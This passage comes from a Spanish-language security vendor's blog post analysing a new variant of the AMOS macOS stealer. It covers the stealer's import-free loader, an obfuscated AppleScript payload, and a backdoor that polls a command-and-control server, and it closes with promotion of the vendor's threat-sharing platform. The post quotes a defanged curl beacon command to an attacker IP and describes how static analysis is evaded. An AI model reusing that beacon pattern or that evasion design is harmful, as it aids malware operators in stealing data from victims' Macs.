En una muestra de malware tradicional, se esperan importaciones para networking (socket, connect) o manipulación de archivos (fopen, write). Este binario no tiene ninguna. Para un escáner estándar, este binario parece un lanzador de procesos inofensivo. Esta es una decisión arquitectónica deliberada para eludir las herramientas de análisis estático que marcan el uso sospechoso de APIs.

El binario helper no realiza el robo por sí mismo. Su único propósito es depositar y ejecutar el payload malicioso real: un AppleScript fuertemente ofuscado. Un EDR o AV independiente que busque "binarios maliciosos" verá un loader sin capacidades de red ni I/O de archivos y potencialmente le otorgará un veredicto de "limpio". Perderá de vista que el binario es un sistema de entrega especializado para un payload de script de alto nivel.


La puerta trasera

El incidente no terminó tras el compromiso inicial. La telemetría de Microsoft Defender mostró un proceso ejecutándose desde /Users/<redacted>/.mainhelper, consultando periódicamente un servidor externo:

sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"

La cadena Base64 se decodifica en un UUID de dispositivo de 16 bytes, el identificador único asignado a esta máquina por la infraestructura C2 del atacante el día de la infección inicial.

El binario .mainhelper (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) había sido instalado por el dropper de osascript mediante ditto el día del incidente.


El poder del escudo colectivo: nuestra plataforma exclusiva de Shared Threat Intelligence

Cuando se activa una alerta en nuestro SOC, el reloj no empieza solo para el cliente afectado, sino para cada organización bajo el escudo de glueckkanja. Esta investigación sobre una variante de AMOS no documentada pone de manifiesto la naturaleza crítica de la brecha de inteligencia: esa peligrosa ventana en la que los proveedores tradicionales están ciegos porque todavía no han visto la amenaza.

Aquí es donde nuestra plataforma de Shared Threat Intelligence, desarrollada exclusivamente para nuestros clientes del CSOC de glueckkanja, demuestra su valor decisivo. No esperamos las actualizaciones del sector, las creamos nosotros. Mientras nuestros analistas seguían desmantelando las últimas capas del ensamblado ARM64, nuestro Motor de Orquestación Automatizada ya estaba distribuyendo los indicadores extraídos por todo nuestro ecosistema. Esto crea un efecto inmediato de inmunidad colectiva, donde un descubrimiento en un único endpoint se convierte en una amenaza bloqueada para cada organización que protegemos en cuestión de minutos.

La seguridad reactiva es una reliquia del pasado cuando se enfrentan amenazas diseñadas para colarse por las grietas de las defensas convencionales. La respuesta reside en combinar la experiencia humana con una arquitectura capaz de desplegar ese conocimiento de forma instantánea y a escala. Cuando estos conocimientos se canalizan a través de nuestro modelo de inteligencia compartida, la ventaja temporal del atacante puede transformarse en una desventaja, protegiendo a nuestros clientes incluso antes de que el sector haya reconocido la amenaza.


Nota sobre privacidad de datos

La información identificativa ha sido anonimizada en esta publicación. Detalles técnicos específicos, indicadores y marcas de tiempo pueden haber sido ligeramente alterados para garantizar la protección continuada del entorno afectado, manteniendo al mismo tiempo la integridad técnica íntegra del análisis.

El análisis técnico y los indicadores de compromiso (IOC) incluidos en este informe tienen fines ilustrativos y educativos únicamente. Esta información se proporciona "en la medida de lo posible". glueckkanja AG no ofrece garantías, expresas ni implícitas, sobre la integridad o exactitud de los datos y no se hace responsable de daños, pérdidas o incidentes de seguridad derivados del uso o la implementación de la información, reglas o firmas aquí compartidas. Se recomienda encarecidamente a los usuarios que validen todos los indicadores y reglas en un entorno controlado antes de su despliegue.

Los indicadores y técnicas descritos pueden solaparse con familias de malware conocidas y no son exclusivos de una única campaña.

Contactadnos

¿Queréis saber cómo nuestra plataforma de Shared Threat Intelligence os protege frente a variantes de malware desconocidas antes de que el sector las detecte? Hablemos.
Retrato de Jan Geisbauer, Head of Security en glueckkanja
Lo peligroso de esta variante no era la complejidad técnica, por impresionante que sea. Lo peligroso era la ventana de tiempo. Sin Shared Threat Intelligence, nuestros otros clientes habrían estado expuestos durante horas mientras todavía analizábamos.
Jan GeisbauerHead of Security

Puestos similares